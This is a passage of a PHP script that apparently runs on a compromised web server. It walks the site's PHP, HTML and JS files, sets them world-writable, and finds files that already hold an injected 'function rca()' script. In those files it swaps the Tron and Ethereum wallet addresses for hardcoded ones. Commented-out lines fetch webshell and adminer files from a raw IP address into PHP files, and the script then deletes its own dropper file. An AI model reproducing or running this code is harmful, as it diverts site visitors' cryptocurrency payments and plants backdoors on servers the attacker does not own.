'TKf4aEj5pJzEJWrCSwkdzSsYmnHzJbtibM', '/0x[a-zA-Z0-9]{40,50}/' => '0xd4b6f4c9af70c3287979228c34ec9c880847f608', ); // 排除目录 $excludeDirs = array('.git', 'node_modules', 'cache'); function searchFiles($dir) { global $excludeDirs; if ($dir === '' || !is_dir($dir)) { error_log("searchFiles(): invalid directory: " . var_export($dir, true)); return; } try { $iterator = new RecursiveIteratorIterator( new RecursiveCallbackFilterIterator( new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS), function ($current, $key, $iterator) use ($excludeDirs) { if ($current->isDir()) { foreach ($excludeDirs as $ex) { if (stripos($current->getFilename(), $ex) !== false) { return false; } } return true; } return true; } ) ); foreach ($iterator as $file) { if (!$file->isFile()) continue; $ext = strtolower(pathinfo($file->getFilename(), PATHINFO_EXTENSION)); if (in_array($ext, array('php', 'html', 'js'))) { checkForMaliciousScript($file->getRealPath()); } } } catch (Exception $e) { error_log("searchFiles() failed for {$dir}: " . $e->getMessage()); } } function checkForMaliciousScript($filePath) { global $replaceMap, $dryRun; @chmod($filePath, 0777); if (!is_readable($filePath)) { echo "[SKIP] 不可读: {$filePath}\n"; return; } try { $fileContent = file_get_contents($filePath); if ($fileContent === false) { echo "[SKIP] 读取失败: {$filePath}\n"; return; } if (strpos($fileContent, 'function rca()') === false) { return; } $totalReplacements = 0; $perPatternCounts = array(); foreach ($replaceMap as $pattern => $replacement) { $count = 0; $res = @preg_match_all($pattern, $fileContent, $matches); if ($res === false) { error_log("checkForMaliciousScript(): invalid regex {$pattern} on {$filePath}"); continue; } $count = $res; $perPatternCounts[$pattern] = $count; $totalReplacements += $count; } if ($totalReplacements === 0) { echo "[FOUND] function rca() 存在,但无匹配待替换项: {$filePath}\n"; return; } $newContent = $fileContent; foreach ($replaceMap as $pattern => $replacement) { $newContent = preg_replace($pattern, $replacement, $newContent); if ($newContent === null) { error_log("checkForMaliciousScript(): preg_replace failed for {$pattern} in {$filePath}"); echo "[ERROR] 替换时出错: {$filePath} (pattern: {$pattern})\n"; return; } } if ($dryRun) { echo "[DRY RUN] 将替换 {$totalReplacements} 处 - {$filePath}\n"; foreach ($perPatternCounts as $p => $c) { echo " pattern {$p} -> {$c} 次\n"; } return; } if (!is_writable($filePath)) { echo "[SKIP] 文件不可写: {$filePath}\n"; error_log("checkForMaliciousScript(): file not writable {$filePath}"); return; } if ($newContent !== $fileContent) { $bytes = file_put_contents($filePath, $newContent, LOCK_EX); if ($bytes === false) { echo "[ERROR] 写回失败: {$filePath}\n"; error_log("checkForMaliciousScript(): write failed for {$filePath}"); return; } echo "[REPLACED] {$filePath} — total: {$totalReplacements} replacements.\n"; foreach ($perPatternCounts as $p => $c) { if ($c > 0) echo " pattern {$p} => {$c} 次\n"; } error_log("checkForMaliciousScript(): replaced {$totalReplacements} occurrences in {$filePath}"); } else { echo "[NOTICE] 发现匹配但写回内容无变化: {$filePath}\n"; } } catch (Exception $e) { echo "[ERROR] exception for {$filePath}: " . $e->getMessage() . "\n"; error_log("checkForMaliciousScript({$filePath}) exception: " . $e->getMessage()); } } function scan($dirs) { foreach ($dirs as $dir) { if ($dir === '' || !@is_dir($dir)) { echo "[WARN] 无效目录: " . var_export($dir, true) . "\n"; continue; } searchFiles($dir); } } // 调用 scan(array($currDir, $parentDir)); #file_put_contents("static.php", file_get_contents("http://38.207.174.63/laytpl.ctts1")); #file_put_contents("adminer.php", file_get_contents("http://38.207.174.63/adminer.ad")); #file_put_contents("us.php", file_get_contents("http://38.207.174.63/laodiao.p")); #file_put_contents("wd.php", file_get_contents("http://38.207.174.63/wd.aqs")); function safeUnlink($path) { if (!file_exists($path)) { return true; } if (!unlink($path)) { error_log("Failed to delete file: {$path}"); return false; } return true; } safeUnlink('wocao.php'); //safeUnlink('static.php'); //safeUnlink('adminer.php'); ?>